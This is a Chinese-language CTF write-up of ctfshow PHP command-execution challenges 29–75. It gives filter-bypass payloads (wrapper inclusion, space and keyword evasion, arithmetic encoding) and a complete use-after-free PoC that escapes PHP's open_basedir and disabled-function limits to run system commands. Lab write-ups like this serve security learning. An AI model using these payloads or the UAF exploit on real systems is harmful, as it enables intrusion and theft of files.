# 命令执行
# Web29-37
都使用get传参,
根据被屏蔽的字词的不同考虑不同的解法
(1)system(“”);执行一系列查看文件操作
(2)都可以一把梭 如果只对get的参数c进行限制 用eval($_GET[])来进行参数逃逸 如果()被过滤可以考虑使用结构语言 include require print echo inset unset
常用Payload ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
Filter伪协议 常用于读取文件/源码
# Web39
使用了include文件包含,使用伪协议date 使后面的语句不是当成字符串类型,可以当成php语句被执行
短标签就是把<?php 换成<?= 前提是这个功能打开
Payload
?c=data://text/plain,<?php system(“tac f*”);?>
1
# Web40
RCE无参数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出(也可用show_source)
show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
# Web43
代码中插入了>/dev/null 2>&1,“>/dev/null 2>&1”的作用就是不回显。
(分隔符进行分割绕过)这道题和上一题差不多,不一样的是屏蔽了;可以用%0a绕过或者(%26%26)&&或者(%27%27)||绕过
不是很明白的一个点&&需要url编码 但是||却不要 原因:在URL内的所有不安全的字符必须被编码。保留的,预留的(Reserved):许多URL方案为特殊的意义保留了某些字符:它们在部分URL指定方案中出现。如果相应八字节的字符是方案内部的保留字,那它必须被编码。字符; , / , ? , : , @ , = &可能被某个方案预留用作特殊意义。在其他方案中不能保留其他字符。当一个八字节由一个字符表示并且被编码时,URL通常具有相同的解释。 但是,对于保留字符而言,这不是真的:编码一个为特定方案保留的字符可能会改变URL的语义。因此,在URL中数字、字母、特殊字符$ -_。+!*()以及保留字符要经过解码(unencoded)后才使用。另一方面,只要它们不用于保留目的,可以在URL指定方案中编码不需要编码的字符(包括字母数字)。
Payload:?c=tac f*||
# Web44
跟上面一题一样 多了过滤flag 用通配符就行
# Web45
没什么特别的多了过滤空格常见方法如下
%09(url传递) 表示的是tab (cat%09flag.php)
${IFS}
$IFS$9
<>(cat<>flag)
<(cat<flag)
2
3
4
5
{cat,flag}原理参考:https://blog.csdn.net/m0_56059226/article/details/117997472
# Web46
过滤多了数字 由于%09(tab)绕过空格解码后代表的是tab不属于数字不会被过滤
过滤了$ $$所以不能用${IFS}绕过空格
沿用上一题的payload就行
# Web47
过滤了more less 等查看文件的命令 (more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容)还是一样用tac没什么好说的
# Web48
还是过滤多了sed cut等Linux命令
用上一题payload
# Web49
多了% 不过跟题目没啥关系 沿用上题payload
# Web50
过滤了&(%26)和tab(%09) 一样啊 用<绕过空格
但是不能用?通配符 ???
利用shall特性用’’或者””或者\隔开被过滤的字符串(原理:还有一个小知识,之前我在纠结为什么ca\t或者c\at的效果和cat一样,后来经过东拼西凑的问大佬和尝试,最后总结的原因是因为在linux里面当转义符号()转义普通字符的时候,和普通字符原来的效果是一样的,意思就是\t和t都是t,只有在转义特殊字符的时候,才起了作用,比如$,$则不再表示变量的意思。)
# Web51
多过滤了tac 换个nl继续用
或者继续ta\c
# Web52
常规去做 发现过滤了上一题的<> 有点惯性思维去找其他解题方法 没有看见没有过滤$
发现被耍了 这个flag.php中不是答案
查看根目录下的文件夹 发现是有flag这个文件的 有两个想法 一个是直接读取里面的文件,一个是把flag复制到当前文件夹中
二可行
查看一下flag这个文件的权限有rx,应该是可以读
# Web53
看了一下是echo函数 然后多了变量d后会system$c
常规看一下文件内容 有flag.php 直接看
# Web54
在正则中 .*c.*a.*t.*相当于cat中不能穿插任何字符了,所以不能用’’绕过 考虑用mv对文件重命名
# Web55
过滤了所有字母,查了资料 有两种解法 一种是通过执行的上传文件 另一种是通过/bin/base64输出flag
第二种方法试了下发现不能用
仔细研究了p神的文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
具体方法:。.或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file的意思就是用bash执行file文件中的命令。(1. " ./ “ 的方式类似于新建了一个shell, 在这个新建的shell中去执行脚本中的程序,类似于新建了一个子进程,但这个子进程不继承父进程的所有非export类型的变量,并且脚本中对非export环境变量的创建或修改不会反馈到外部调用shell中
\2. ” . " 的方式类似于将脚本中的每一行指令逐条在当前shell中执行,因此它继承了当前shell的环境变量,同时脚本中对环境变量的修改也可以反馈到shell中)
上传的文件会临时储存在一个地址下一般为/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。最后构造POC,执行任意命令
最后rce
# Web56
比55多过滤了数字和$ 应该对文件上传影响不大 尝试用文件上传
# Web57
多过滤了. 和? 所以不能像上一题用文件上传
这道题表达flag在36.php 而在system函数中也有cat和.php 只需要传参c=36就行了
在Linux shell中$(())是代表数学运算 ~代表取反 举个栗子:a=1,b=2 $a+$b就等同于$((1+2))
1
2
一个很奇怪的点 -1取反再输出是显示的0 要得到一就要在加一个$((~$(())))
所以要输出36 需要37个
$((~$(())))
1
# Web58
只能一个一个试过去
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image018.gif)
直接读文件
# Web59
跟上题一样,啥也不知道
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image020.gif)
还是直接读就读出来了
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image022.gif)
# Web60
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image024.gif)
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image026.gif)
# Web61 62
还是和上一题一样的
# Web66
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image028.gif)
查看目录
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image030.gif)
Print_r和var_dump 作用差不多可以替换
2.var_dump()和print_r()的区别
共同点:两者都可以打印数组,对象之类的复合型变量。
区别:print_r() 只能打印一些易于理解的信息,且print_r()在打印数组时,会将把数组的指针移到最后边,使用 reset() 可让指针回到开始处。 而var_dump()不但能打印复合类型的数据,还能打印资源类型的变量。且var_dump()输出的信息则比较详细,一般调试时用得多。
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image032.gif)
# Web67
和上一题一样
# Web68
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image034.gif)
常规查目录
![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image036.gif)
这次禁用了show_source 和highlingt_file
用include![img](file:///C:/Users/23167/AppData/Local/Temp/msohtmlclip1/01/clip_image038.gif)
然后就RCE
# Web70
Var_dump print_r被禁 还可以使用var_export
var_export() 函数用于输出或返回一个变量,以字符串形式表示。
var_export() 函数返回关于传递给该函数的变量的结构信息,它和 var_dump() 类似,不同的是其返回的是一个合法的 PHP 代码。
还是一样include方法做
# Web71
这道题是先将缓冲区的内容存在s变量中,然后执行清空缓冲区可以忽略前面所有输出,再通过替换输出s变量形成看到的题目。
可以用exit()直接终端进程
# Web72
无权限 用glob伪协议遍历目录 (通用版)
c=$a="glob:///*.txt";
if($b=opendir($a)){
while(($a=readdir($b))!==false){
echo "filename:".$a."\n";
}
closedir($b);
}
exit();
或者
c=?><?php $a=new DirectoryIterator("glob://./*");
foreach($a as $f)
{echo($f->__toString().' ');
}
exit(0);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
然后利用uaf漏洞来读取
看了关于uaf漏洞的笔记:漏洞学习笔记——UAF漏洞_孤月丶星辰的博客-CSDN博客_uaf漏洞
uaf绕过open_basedir执行命令 poc(需要url编码)
<?php function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush(); ?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
# Web73
还是glob遍历
用上脚本发现strlen被ban了
看其他师傅的wp include是没有被ban掉的 做题定向思维了 这应该是非预期解了
# Web74
和上一题一样
# Web75
这道题是用了pdo连接mysql操作方法 不是特别明白 先跳过